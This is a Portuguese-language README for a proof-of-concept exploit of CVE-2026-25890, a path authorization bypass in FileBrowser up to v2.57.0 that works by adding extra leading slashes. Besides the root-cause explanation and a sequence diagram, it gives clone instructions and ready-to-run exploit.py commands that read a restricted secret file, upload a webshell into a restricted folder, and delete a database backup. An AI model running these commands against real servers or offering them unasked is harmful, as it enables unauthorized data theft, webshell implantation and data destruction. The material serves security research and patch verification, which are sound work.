
Exploit para CVE-2026-25890, uma bypass de autorização baseada em caminho no FileBrowser <= v2.57.0, permitindo que usuários autenticados com privilégios baixos leiam, carreguem e excluam arquivos restritos por meio de múltiplas barras iniciais.
Usuários não autenticados não podem explorar isso — requer credenciais válidas de baixo privilégio que estejam restritas ao caminho alvo.
Bypass de autorização baseado em caminho no FileBrowser ≤ v2.57.0 usando múltiplas barras iniciais (//private em vez de /private) para evadir as verificações de strings.HasPrefix() enquanto o sistema de arquivos ainda serve o caminho canônico.
Corrigido na v2.57.1 (commit 489af403... – removido r.SkipClean(true)).
# Clone o repositório
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass
# Sem dependências além da biblioteca padrão + requests
pip install requests
python3 exploit.py --help
# Ler um arquivo restrito
python3 exploit.py \
--url http://192.168.1.50:8080 \
--username bob \
--password password123 \
--path /private/secret.txt \
--action read \
--save leaked_secret.txt \
--verbose
# Enviar arquivo malicioso para pasta restrita
python3 exploit.py \
--url http://target:8080 \
--username lowpriv \
--password pass \
--path /data/ \
--action upload \
--upload-file webshell.php \
--slashes 3
# Excluir um arquivo restrito
python3 exploit.py \
--url http://10.10.10.123:80 \
--username alice \
--password secret \
--path /backups/database.bak \
--action delete \
--slashes 4
sequenceDiagram
participant Atacante
participant FileBrowser ≤ v2.57.0
participant Roteador Gorilla Mux
participant Middleware de Autenticação
participant Manipulador do Sistema de Arquivos
Atacante->>FileBrowser: GET /api/resources/private/secret.txt<br>(solicitação normal)
FileBrowser->>Gorilla Mux: Caminho = /api/resources/private/secret.txt
Gorilla Mux->>Middleware de Autenticação: path = "/private/secret.txt"
Middleware de Autenticação->>Middleware de Autenticação: strings.HasPrefix("/private/secret.txt", não permitido="/private") → true
Middleware de Autenticação->>Atacante: 403 Proibido
Note over Atacante,FileBrowser: Atacante tenta o bypass
Atacante->>FileBrowser: GET /api/resources//private/secret.txt
FileBrowser->>Gorilla Mux: Caminho = /api/resources//private/secret.txt<br>(SkipClean=true → sem normalização)
Gorilla Mux->>Middleware de Autenticação: path = "//private/secret.txt"
Middleware de Autenticação->>Middleware de Autenticação: HasPrefix("//private/secret.txt", "/private") → false
Middleware de Autenticação->>Manipulador do Sistema de Arquivos: Permitido → prosseguir
Manipulador do Sistema de Arquivos->>Sistema de Arquivos: Normaliza // → /private/secret.txt
Sistema de Arquivos->>Manipulador do Sistema de Arquivos: Retorna o conteúdo do arquivo
Manipulador do Sistema de Arquivos->>Atacante: 200 OK + conteúdo secreto
Esta prova de conceito é fornecida estritamente para fins educacionais e de pesquisa em segurança.
Não use este código contra qualquer sistema sem permissão explícita por escrito do proprietário.
Acesso ou modificação não autorizada de sistemas é ilegal na maioria das jurisdições (ex.: CFAA, Computer Misuse Act).
Autor do Exploit: Mohammed Idrees Banyamer
País: Jordânia
Instagram: @banyamer_security
Dê uma estrela ⭐ ao repositório se você achou útil!
Última atualização: fevereiro de 2026